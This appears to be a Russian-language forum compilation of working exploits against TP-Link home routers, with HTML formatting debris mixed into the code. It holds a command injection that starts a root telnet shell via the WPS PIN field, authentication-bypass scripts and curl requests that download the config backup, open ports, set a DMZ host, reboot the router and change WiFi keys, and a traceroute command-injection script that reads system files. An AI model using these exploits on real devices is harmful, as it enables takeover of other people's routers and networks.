data =style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>[(class=token>"operation"class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>"login"class=token>),style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>(class=token>"encoded"class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> encodedclass=token>),style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>(class=token>"nonce"class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> COOKIEclass=token>)]style='font-size:8.0pt;font-family:Consolas;color:black'>
# Payload
data_inject style='font-size:8.0pt;font-family:Consolas;color:#9A6E3A'>=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>[style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>(class=token>"operation"class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>"write"class=token>),style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>(class=token>"option"class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>"connect"class=token>),style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>(class=token>"wps_setup_pin"class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>"11480723;telnetd -l /bin/sh"class=token>),style='font-size:8.0pt;font-family:Consolas;color:black'>
]
with requestsstyle='font-size:8.0pt;font-family:Consolas;color:#999999'>.style='font-size:8.0pt;font-family:Consolas;color:black'>Sessionclass=token>()style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>asstyle='font-size:8.0pt;font-family:Consolas;color:black'> sclass=token>:style='font-size:8.0pt;font-family:Consolas;color:black'>
    response class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> sclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>postclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>
        class=token>"http://%s/data/login.json"style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>%style='font-size:8.0pt;font-family:Consolas;color:black'> HOSTclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> headersclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>headersclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> cookiesclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>cookiesclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> dataclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>data
    class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>printclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>responseclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>textclass=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token># An authorised request.style='font-size:8.0pt;font-family:Consolas;color:black'>
    r class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> sclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>getclass=token>(class=token>"http://%s"style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>%style='font-size:8.0pt;font-family:Consolas;color:black'> HOSTclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> headersclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>headersclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> cookiesclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>cookiesclass=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token># print (r.text)style='font-size:8.0pt;font-family:Consolas;color:black'>
    r class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> sclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>postclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>
        class=token>"http://%s/data/wps.setup.json"style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>%style='font-size:8.0pt;font-family:Consolas;color:black'> HOSTclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
        headersclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>headersclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
        cookiesclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>cookiesclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
        dataclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>data_injectclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
tn =style='font-size:8.0pt;font-family:Consolas;color:black'> telnetlibclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>Telnetclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>HOSTclass=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
tn.style='font-size:8.0pt;font-family:Consolas;color:black'>interactclass=token>()style='font-size:8.0pt;font-family:Consolas;color:black'>

Список устройств уязвимых к Auth Bypass
TP-Link TL-WR1043ND 2 - Authentication Bypass

TP-Link TL-WR1043ND v2 - это многозадачный беспроводной маршрутизатор, предназначенный для домашнего использования и малых офисов. Он обладает различными функциями и характеристиками, позволяя пользователям создавать и управлять своей собственной беспроводной сетью.
Проблема была обнаружена на устройствах TP-Link TL-WR1043ND V2. Злоумышленник может отправить файл cookie в пакете проверки подлинности HTTP в веб-интерфейс управления маршрутизатором и полностью контролировать маршрутизатор, не зная учетных данных.

importstyle='font-size:8.0pt;font-family:Consolas;color:black'> requests

class=token>asciistyle='font-size:8.0pt;font-family:Consolas;color:black'> class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'''
__________ __ _ __
Код:
/_  __/ __ \      / /   (_)___  / /__
  / / / /_/ /_____/ /   / / __ \/ //_/
 / / / ____/_____/ /___/ / / / / ,<   
/_/ /_/         /_____/_/_/ /_/_/|_| 
 
'''
printstyle='font-size:8.0pt;font-family:Consolas;color:#999999'>(class=token>asciiclass=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
Default_Gateway style='font-size:8.0pt;font-family:Consolas;color:#9A6E3A'>=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>raw_inputclass=token>(class=token>"Enter your TP-Link router IP: "class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
# Constantsstyle='font-size:8.0pt;font-family:Consolas;color:black'>
url =style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'http://'style='font-size:8.0pt;font-family:Consolas;color:black'>
url2 =style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'/userRpm/LoginRpm.htm?Save=Save'style='font-size:8.0pt;font-family:Consolas;color:black'>
full =style='font-size:8.0pt;font-family:Consolas;color:black'> url class=token>+style='font-size:8.0pt;font-family:Consolas;color:black'> Default_Gateway class=token>+style='font-size:8.0pt;font-family:Consolas;color:black'> url2
# full = str(full)style='font-size:8.0pt;font-family:Consolas;color:black'>
# The full GET request with the cookie authorization hijackedstyle='font-size:8.0pt;font-family:Consolas;color:black'>
req_header =style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>{style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>'Host'class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'{}'class=token>.class=token>formatclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>Default_Gatewayclass=token>),style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>'User-Agent'class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0'class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>'Accept'class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>'Accept-Language'class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'en-US,en;q=0.5'class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>'Accept-Encoding'class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'gzip, deflate'class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>'Referer'class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'http://{}/userRpm/LoginRpm.htm?Save=Save'class=token>.class=token>formatclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>Default_Gatewayclass=token>),style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>'Connection'class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'close'class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>'Cookie'class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'''Authorization=Basic%20QWRtaW5pc3RyYXRvcjpjM2JiNTI5NjdiNjVjYWY4ZWRkMWNiYjg4ZDcwYzYxMQ%3D%3D'''class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>'Upgrade-Insecure-Requests'class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'1'style='font-size:8.0pt;font-family:Consolas;color:black'>
}
trystyle='font-size:8.0pt;font-family:Consolas;color:#999999'>:style='font-size:8.0pt;font-family:Consolas;color:black'>
    response class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> requestsclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>getclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>fullclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> headersclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>req_headerclass=token>).style='font-size:8.0pt;font-family:Consolas;color:black'>content
except requestsstyle='font-size:8.0pt;font-family:Consolas;color:#999999'>.style='font-size:8.0pt;font-family:Consolas;color:black'>exceptionsclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>ConnectionErrorclass=token>:style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>printclass=token>(class=token>"Enter a valid Default Gateway IP address\nExiting..."class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
    exitclass=token>()style='font-size:8.0pt;font-family:Consolas;color:black'>
generate =style='font-size:8.0pt;font-family:Consolas;color:black'> responseclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>splitclass=token>(class=token>'/'class=token>)[class=token>3class=token>]style='font-size:8.0pt;font-family:Consolas;color:black'> class=token># Gets the randomized URL "session ID"style='font-size:8.0pt;font-family:Consolas;color:black'>
option_1 =style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>inputclass=token>(class=token>"Press 1 to check if your TP-Link router is vulnerable: "class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
 
class=token>ifstyle='font-size:8.0pt;font-family:Consolas;color:black'> option_1 class=token>isstyle='font-size:8.0pt;font-family:Consolas;color:black'> class=token>1class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'>
 
style='font-size:8.0pt;font-family:Consolas;color:black'>    class=token>ifstyle='font-size:8.0pt;font-family:Consolas;color:black'> generate class=token>instyle='font-size:8.0pt;font-family:Consolas;color:black'> responseclass=token>:style='font-size:8.0pt;font-family:Consolas;color:black'>
        class=token>printclass=token>(class=token>'Vulnerable!\n'class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
        option_2 class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>inputclass=token>(class=token>'Press 2 if you want to change the router\'s SSID or any other key to quit: 'class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
        class=token>ifstyle='font-size:8.0pt;font-family:Consolas;color:black'> option_2 class=token>isstyle='font-size:8.0pt;font-family:Consolas;color:black'> class=token>2class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'>
            newssid class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>raw_inputclass=token>(class=token>'New name: 'class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
            ssid_url class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'/userRpm/WlanNetworkRpm.htm?ssid1={}&ssid2=TP-LINK_660A_2&ssid3=TP-LINK_660A_3&ssid4=TP-LINK_660A_4&region=43&band=0&mode=5&chanWidth=2&channel=1&rate=83&speedboost=2&broadcast=2&brlssid=&brlbssid=&addrType=1&keytype=1&wepindex=1&authtype=1&keytext=&Save=Save'class=token>.class=token>formatclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>
                newssidclass=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
            changessid_full class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> url class=token>+style='font-size:8.0pt;font-family:Consolas;color:black'> Default_Gateway class=token>+style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'/'style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>+style='font-size:8.0pt;font-family:Consolas;color:black'> generate class=token>+style='font-size:8.0pt;font-family:Consolas;color:black'> ssid_url
            requestsclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>getclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>changessid_fullclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> headersclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>req_headerclass=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
            class=token>printclass=token>(class=token>'Changed to: {}'class=token>.class=token>formatclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>newssidclass=token>))style='font-size:8.0pt;font-family:Consolas;color:black'>
        class=token>elseclass=token>:style='font-size:8.0pt;font-family:Consolas;color:black'>
            class=token>(class=token>"Please choose the correct option.\nExiting..."class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
            exitclass=token>()style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>elseclass=token>:style='font-size:8.0pt;font-family:Consolas;color:black'>
        class=token>printclass=token>(class=token>'Not Vulnerable'class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
        exitclass=token>()style='font-size:8.0pt;font-family:Consolas;color:black'>
elsestyle='font-size:8.0pt;font-family:Consolas;color:#999999'>:style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>printclass=token>(class=token>"Please choose the correct option.\nExiting..."class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
    exitclass=token>()style='font-size:8.0pt;font-family:Consolas;color:black'>

TP-Link TL-WR840N/TL-WR841N - Authenticaton Bypass

TP-Link TL-WR840N и TL-WR841N - это два различных модели беспроводных маршрутизаторов от компании TP-Link. Оба устройства предназначены для создания беспроводной сети и обеспечения доступа к интернету для устройств в доме или офисе.

Эта проблема вызвана неправильной обработкой сеанса в папке /cgi/ или /cgi.
файл, найденный Тухидом Шейхом (членом команды BlackFog).
Если какой-либо злоумышленник отправляет Referer Header со своим запросом и устанавливает Referer:
http://192.168.0.1/mainFrame.htm, аутентификация не требуется и
злоумышленник может выполнять действия маршрутизатора без аутентификации.

Список команд для изменения настроек роутера без авторизации:

Код:
Evil Actions Without Authentication example.style='font-size:8.0pt;color:#222222'>

============== Burp Request and curl command for conf.bin or backup file

=================

 

####### Burp ########

GET /cgi/conf.bin HTTP/1.1

Host: 192.168.0.1

User-Agent: Agent22

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.0.1/mainFrame.htm

Connection: close

Upgrade-Insecure-Requests: 1

 

-------Response--------

HTTP/1.1 200 OK

Content-Type: application/octet-stream; charset=utf-8

Content-Length: 5720

Connection: close

 

w@\AAb AaLA1/2AaA-Aa!AEa1A>>aAA!,*-A h[Aa1A3lAa!AA.A(c)-

.....SKIP.......

8/i?1/2i?1/2i?1/2i?1/2W

 

######## Curl ##########

curl -i -s -k  -X $'GET'     -H $'Host: 192.168.0.1' -H $'User-Agent:

Agent22' -H $'Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H

$'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H

$'Referer: http://192.168.0.1/mainFrame.htm' -H $'Connection: close'      $'

http://192.168.0.1/cgi/conf.bin' > backup.bin

 

------ take a look in backup.bin file --------

 

===========================================

 

=========== Add Port Forwarding ============

curl -i -s -k -X POST -H "Host: 192.168.0.1" -H "User-Agent:

Mozilla/Agent22" -H 'Accept: */*' -H "Referer:

http://192.168.0.1/mainFrame.htm" --data-binary

$'[IP_CONN_PORTTRIGGERING#0,0,0,0,0,0#1,1,2,0,0,0]0,5\x0d\x0atriggerPort=23\x0d\x0atriggerProtocol=TCP

or UDP\x0d\x0aopenProtocol=TCP or

UDP\x0d\x0aenable=1\x0d\x0aopenPort=23\x0d\x0a' http://192.168.0.1/cgi?3

 

HTTP/1.1 200 OK

Content-Type: text/plain; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

 

[1,1,2,7,0,0]0

triggerPort=23

triggerProtocol=TCP or UDP

openProtocol=TCP or UDP

enable=1

openPort=23

[error]0

 

----- Decription -----

enable=0 is for disable

enable=1 is for enable

u can change port also.

====================================

 

=========== Reboot Router =========================

curl -i -s -k -X POST -H "Host: 192.168.0.1" -H "User-Agent:

Mozilla/Agent22" -H 'Accept: */*' -H "Referer:

http://192.168.0.1/mainFrame.htm" --data-binary

$'[ACT_REBOOT#0,0,0,0,0,0#0,0,0,0,0,0]0,0\x0d\x0a' http://192.168.0.1/cgi?7

 

HTTP/1.1 200 OK

Content-Type: text/plain; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

 

[error]0

 

----Description -----

error = 0 means reboot seccessully

======================================

 

============= Enable Guest Network ==========================

curl -i -s -k  -X $'POST' -H $'Host: 192.168.0.1' -H $'User-Agent: Aent22'

-H $'Accept: */*' -H $'Accept-Language: en-US,en;q=0.5' -H

$'Accept-Encoding: gzip, deflate' -H $'Content-Type: text/plain' -H

$'Referer: http://192.168.0.1/mainFrame.htm' -H $'Content-Length: 844' -H

$'Connection: close' --data-binary

$'[LAN_WLAN_MULTISSID#1,1,0,0,0,0#0,0,0,0,0,0]0,1\x0d\x0amultiSSIDEnable=1\x0d\x0a[LAN_WLAN_MSSIDENTRY#1,1,1,0,0,0#0,0,0,0,0,0]1,11\x0d\x0aIsolateClients=0\x0d\x0aEnable=1\x0d\x0aSSID=Agent22\x0d\x0aBeaconType=WPAand11i\x0d\x0aWPAAuthenticationMode=PSKAuthentication\x0d\x0aWPAEncryptionModes=TKIPandAESEncryption\x0d\x0aIEEE11iAuthenticationMode=PSKAuthentication\x0d\x0aIEEE11iEncryptionModes=TKIPandAESEncryption\x0d\x0aPreSharedKey=9876543210\x0d\x0aGroupKeyUpdateInterval=0\x0d\x0aMaxStaNum=32\x0d\x0a[LAN_WLAN_MSSIDENTRY#1,2,1,0,0,0#0,0,0,0,0,0]2,1\x0d\x0aIsolateClients=0\x0d\x0a[LAN_WLAN_GUESTNET#1,1,0,0,0,0#0,0,0,0,0,0]3,8\x0d\x0aLANAccessEnable=1\x0d\x0aUSBAccessEnable=0\x0d\x0aTCEnable=0\x0d\x0aTCMinUpBW=100\x0d\x0aTCMaxUpBW=200\x0d\x0aTCMinDownBW=100\x0d\x0aTCMaxDownBW=200\x0d\x0alastModified=1\x0d\x0a[LAN_WLAN_GUESTNET#1,2,0,0,0,0#0,0,0,0,0,0]4,8\x0d\x0aLANAccessEnable=1\x0d\x0aUSBAccessEnable=0\x0d\x0aTCEnable=0\x0d\x0aTCMinUpBW=100\x0d\x0aTCMaxUpBW=200\x0d\x0aTCMinDownBW=100\x0d\x0aTCMaxDownBW=200\x0d\x0alastModified=0\x0d\x0a'

$'http://192.168.0.1/cgi?2&2&2&2&2'

 

------- Description ----------

SSID=Agent22

PreSharedKey=9876543210

=============================================

 

======= DMZ enable and Disable on 192.168.0.112 ===========

curl -i -s -k  -X $'POST'     -H $'Host: 192.168.0.1' -H $'User-Agent:

Agent22' -H $'Referer: http://192.168.0.1/mainFrame.htm' -H

$'Content-Length: 78' -H $'Connection: close'     --data-binary

$'[DMZ_HOST_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,2\x0d\x0aenable=1\x0d\x0aIPAddress=192.168.0.112\x0d\x0a'

   $'http://192.168.0.1/cgi?2'

 

HTTP/1.1 200 OK

Content-Type: text/plain; charset=utf-8

Transfer-Encoding: chunked

Connection: close

[error]0

-------Description -----------

IPAddress=192.168.0.112

enable=1 or 0 (enable or disable)

=================================================

=============== WiFi Password Change =============

curl -i -s -k  -X $'POST'     -H $'Host: 192.168.0.1' -H $'User-Agent:

Agent22' -H $'Accept-Encoding: gzip, deflate' -H $'Content-Type:

text/plain' -H $'Referer: http://192.168.0.1/mainFrame.htm' -H

$'Content-Length: 199' -H $'Connection: close'     --data-binary

$'[LAN_WLAN#1,1,0,0,0,0#0,0,0,0,0,0]0,5\x0d\x0aBeaconType=11i\x0d\x0aIEEE11iAuthenticationMode=PSKAuthentication\x0d\x0aIEEE11iEncryptionModes=AESEncryption\x0d\x0aX_TP_PreSharedKey=9876543210\x0d\x0aX_TP_GroupKeyUpdateInterval=0\x0d\x0a'

   $'http://192.168.0.1/cgi?2'

 

-------Description -----------

IEEE11iAuthenticationMode=PSKAuthentication

IEEE11iEncryptionModes=AESEncryption

X_TP_PreSharedKey=9876543210

===============================style='font-size:8.0pt;color:#111111'>


Список устройств уязвимых к Command Injection
TP-Link TL-WR841N - Command Injection

TP-Link TL-WR841N - это беспроводной маршрутизатор, предназначенный для домашнего использования и небольших офисов. Он предоставляет базовые функции маршрутизации и беспроводного доступа к интернету, что делает его популярным выбором для пользователей, которые ищут надежное и простое в использовании устройство.

Работа эксплоита заключается во внедрения системной полезной нагрузки через веб панель.

HTML:
importstyle='font-size:8.0pt;font-family:Consolas;color:black'> requests
import sys
import time
trystyle='font-size:8.0pt;font-family:Consolas;color:#999999'>:style='font-size:8.0pt;font-family:Consolas;color:black'>
    _ class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> sysclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>argvclass=token>[class=token>2class=token>]style='font-size:8.0pt;font-family:Consolas;color:black'>
    payload class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>' 'class=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>joinclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>sysclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>argvclass=token>[class=token>1class=token>:])style='font-size:8.0pt;font-family:Consolas;color:black'>
except IndexErrorstyle='font-size:8.0pt;font-family:Consolas;color:#999999'>:style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>tryclass=token>:style='font-size:8.0pt;font-family:Consolas;color:black'>
        payload class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> sysclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>argvclass=token>[class=token>1class=token>]style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>exceptstyle='font-size:8.0pt;font-family:Consolas;color:black'> IndexErrorclass=token>:style='font-size:8.0pt;font-family:Consolas;color:black'>
        class=token>printclass=token>(class=token>"[*] Command not specified, using the default `cat etc/passwd=`"class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
        payload class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'cat etc/passwd'style='font-size:8.0pt;font-family:Consolas;color:black'>
# Default credentials is admin:admin - replace with your ownstyle='font-size:8.0pt;font-family:Consolas;color:black'>
cookies =style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>{style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>'Authorization'class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'Basic YWRtaW46YWRtaW4='style='font-size:8.0pt;font-family:Consolas;color:black'>
}
headers =style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>{style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>'Host'class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'192.168.0.1'class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>'User-Agent'class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko=/20100101 Firefox/84.0'class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>'Accept'class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'*/*'class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>'Accept-Language'class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'en-US,en;q=0.5'class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>'Accept-Encoding'class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'gzip, deflate'class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>'Content-Type'class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'text/plain'class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>'Content-Length'class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'197'class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>'Origin'class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'http://192.168.0.1'class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>'Connection'class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'close'class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>'Referer'class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'http://192.168.0.1/mainFrame.htm'class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
}
data1 =style='font-size:8.0pt;font-family:Consolas;color:black'> \
'''[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,8\r\nmaxHopCount=20\r\ntimeout=50\r\nnumberOfTries=1\r\nhost="`{}`"\r\ndataBlockSize=64\r\nX_TP_ConnName=ewan_ipoe_d\r\ndiagnosticsState=Requested\r\nX_TP_HopSeq=0\r\n'''class=token>.class=token>formatclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>payloadclass=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
response1 =style='font-size:8.0pt;font-family:Consolas;color:black'> requestsclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>postclass=token>(class=token>'http://192.168.0.1/cgi?2'class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> headersclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>headersclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> cookiesclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>cookiesclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> dataclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>data1class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> verifyclass=token>=class=token>Falseclass=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
printstyle='font-size:8.0pt;font-family:Consolas;color:#999999'>(class=token>'[+] Sending payload...'class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
 
class=token>tryclass=token>:style='font-size:8.0pt;font-family:Consolas;color:black'>
    response1class=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>textclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>splitlinesclass=token>()[class=token>0class=token>]style='font-size:8.0pt;font-family:Consolas;color:black'>
except IndexErrorstyle='font-size:8.0pt;font-family:Consolas;color:#999999'>:style='font-size:8.0pt;font-family:Consolas;color:black'>
    sysclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>exitclass=token>(class=token>'[-] Cannot get response. Please check your cookie.'class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
if response1style='font-size:8.0pt;font-family:Consolas;color:#999999'>.style='font-size:8.0pt;font-family:Consolas;color:black'>textclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>splitlinesclass=token>()[class=token>0class=token>]style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>!=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'[error]0'class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'>
    sysclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>exitclass=token>(class=token>'[*] Router/Firmware is not vulnerable.'class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
 
style='font-size:8.0pt;font-family:Consolas;color:black'>data2 class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'[ACT_OP_TRACERT#0,0,0,0,0,0#0,0,0,0,0,0]0,0\r\n'style='font-size:8.0pt;font-family:Consolas;color:black'>
response2 =style='font-size:8.0pt;font-family:Consolas;color:black'> requestsclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>postclass=token>(class=token>'http://192.168.0.1/cgi?7'class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> headersclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>headersclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> cookiesclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>cookiesclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> dataclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>data2class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> verifyclass=token>=class=token>Falseclass=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
printstyle='font-size:8.0pt;font-family:Consolas;color:#999999'>(class=token>'[+] Receiving response from router...'class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
